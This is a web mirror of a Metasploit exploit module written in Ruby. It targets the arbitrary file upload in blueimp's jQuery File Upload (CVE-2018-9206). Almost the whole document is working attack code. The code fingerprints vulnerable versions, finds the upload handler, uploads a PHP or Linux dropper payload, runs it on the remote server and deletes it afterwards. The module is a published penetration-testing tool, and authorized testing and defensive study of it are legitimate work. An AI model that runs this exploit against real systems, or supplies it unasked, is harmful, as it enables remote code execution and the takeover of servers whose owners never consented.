Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/jquery_file_upload.rb
32584 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = ExcellentRanking
9
10
include Msf::Exploit::Remote::HttpClient
11
include Msf::Exploit::PhpEXE
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => "blueimp's jQuery (Arbitrary) File Upload",
18
'Description' => %q{
19
This module exploits an arbitrary file upload in the sample PHP upload
20
handler for blueimp's jQuery File Upload widget in versions <= 9.22.0.
21
22
Due to a default configuration in Apache 2.3.9+, the widget's .htaccess
23
file may be disabled, enabling exploitation of this vulnerability.
24
25
This vulnerability has been exploited in the wild since at least 2015
26
and was publicly disclosed to the vendor in 2018. It has been present
27
since the .htaccess change in Apache 2.3.9.
28
29
This module provides a generic exploit against the jQuery widget.
30
},
31
'Author' => [
32
'Claudio Viviani', # WordPress Work the Flow (Arbitrary) File Upload
33
'Larry W. Cashdollar', # (Re)discovery, vendor disclosure, and PoC
34
'wvu' # Metasploit module
35
],
36
'References' => [
37
['CVE', '2018-9206'],
38
['URL', 'http://www.vapidlabs.com/advisory.php?v=204'],
39
['URL', 'https://github.com/blueimp/jQuery-File-Upload/pull/3514'],
40
['URL', 'https://github.com/lcashdol/Exploits/tree/master/CVE-2018-9206'],
41
['URL', 'https://www.homelab.it/index.php/2015/04/04/wordpress-work-the-flow-file-upload-vulnerability/'],
42
['URL', 'https://github.com/rapid7/metasploit-framework/pull/5130'],
43
['URL', 'https://httpd.apache.org/docs/current/mod/core.html#allowoverride']
44
],
45
'DisclosureDate' => '2018-10-09', # Larry's disclosure to the vendor
46
'License' => MSF_LICENSE,
47
'Privileged' => false,
48
'Targets' => [
49
['PHP Dropper', { 'Platform' => 'php', 'Arch' => ARCH_PHP }],
50
['Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64] }]
51
],
52
'DefaultTarget' => 0,
53
'Notes' => {
54
'Reliability' => UNKNOWN_RELIABILITY,
55
'Stability' => UNKNOWN_STABILITY,
56
'SideEffects' => UNKNOWN_SIDE_EFFECTS
57
}
58
)
59
)
60
61
register_options([
62
OptString.new('TARGETURI', [true, 'Base path', '/jQuery-File-Upload'])
63
])
64
end
65
66
def version_paths
67
%w[
68
/package.json
69
/bower.json
70
].map { |u| normalize_uri(target_uri.path, u) }
71
end
72
73
# List from PoC sorted by frequency
74
def upload_paths
75
%w[
76
/server/php/index.php
77
/server/php/upload.class.php
78
/server/php/UploadHandler.php
79
/example/upload.php
80
/php/index.php
81
].map { |u| normalize_uri(target_uri.path, u) }
82
end
83
84
def check
85
a = nil
86
87
version_paths.each do |u|
88
vprint_status("Checking #{u}")
89
90
res = send_request_cgi(
91
'method' => 'GET',
92
'uri' => u
93
)
94
95
next unless res
96
97
unless a
98
res.headers['Server'] =~ %r{Apache/([\d.]+)} &&
99
::Regexp.last_match(1) && (a = Rex::Version.new(::Regexp.last_match(1)))
100
101
if a && a >= Rex::Version.new('2.3.9')
102
vprint_good("Found Apache #{a} (AllowOverride None may be set)")
103
elsif a
104
vprint_warning("Found Apache #{a} (AllowOverride All may be set)")
105
end
106
end
107
108
next unless res.code == 200 && (j = res.get_json_document) &&
109
j['version'] && (v = Rex::Version.new(j['version']))
110
111
if v <= Rex::Version.new('9.22.0')
112
vprint_good("Found unpatched jQuery File Upload #{v}")
113
return CheckCode::Appears
114
else
115
vprint_error("Found patched jQuery File Upload #{v}")
116
return CheckCode::Safe
117
end
118
end
119
120
CheckCode::Unknown
121
end
122
123
def find_upload
124
upload_paths.each do |u|
125
vprint_status("Checking #{u}")
126
127
res = send_request_cgi(
128
'method' => 'GET',
129
'uri' => u
130
)
131
132
if res && res.code == 200
133
vprint_good("Found #{u}")
134
return u
135
end
136
end
137
138
nil
139
end
140
141
def exploit
142
unless check == CheckCode::Appears && (u = find_upload)
143
fail_with(Failure::NotFound, 'Could not find target')
144
end
145
146
f = "#{rand_text_alphanumeric(8..42)}.php"
147
p = normalize_uri(File.dirname(u), 'files', f)
148
149
print_status('Uploading payload')
150
res = upload_payload(u, f)
151
152
unless res && res.code == 200 && res.body.include?(f)
153
fail_with(Failure::NotVulnerable, 'Could not upload payload')
154
end
155
156
print_good("Payload uploaded: #{full_uri(p)}")
157
158
print_status('Executing payload')
159
exec_payload(p)
160
161
print_status('Deleting payload')
162
delete_payload(u, f)
163
end
164
165
def upload_payload(u, f)
166
p = get_write_exec_payload(unlink_self: true)
167
168
m = Rex::MIME::Message.new
169
m.add_part(p, nil, nil, %(form-data; name="files[]"; filename="#{f}"))
170
171
send_request_cgi(
172
'method' => 'POST',
173
'uri' => u,
174
'ctype' => "multipart/form-data; boundary=#{m.bound}",
175
'data' => m.to_s
176
)
177
end
178
179
def exec_payload(p)
180
send_request_cgi({
181
'method' => 'GET',
182
'uri' => p
183
}, 0)
184
end
185
186
def delete_payload(u, f)
187
send_request_cgi(
188
'method' => 'DELETE',
189
'uri' => u,
190
'vars_get' => { 'file' => f }
191
)
192
end
193
194
end
195
196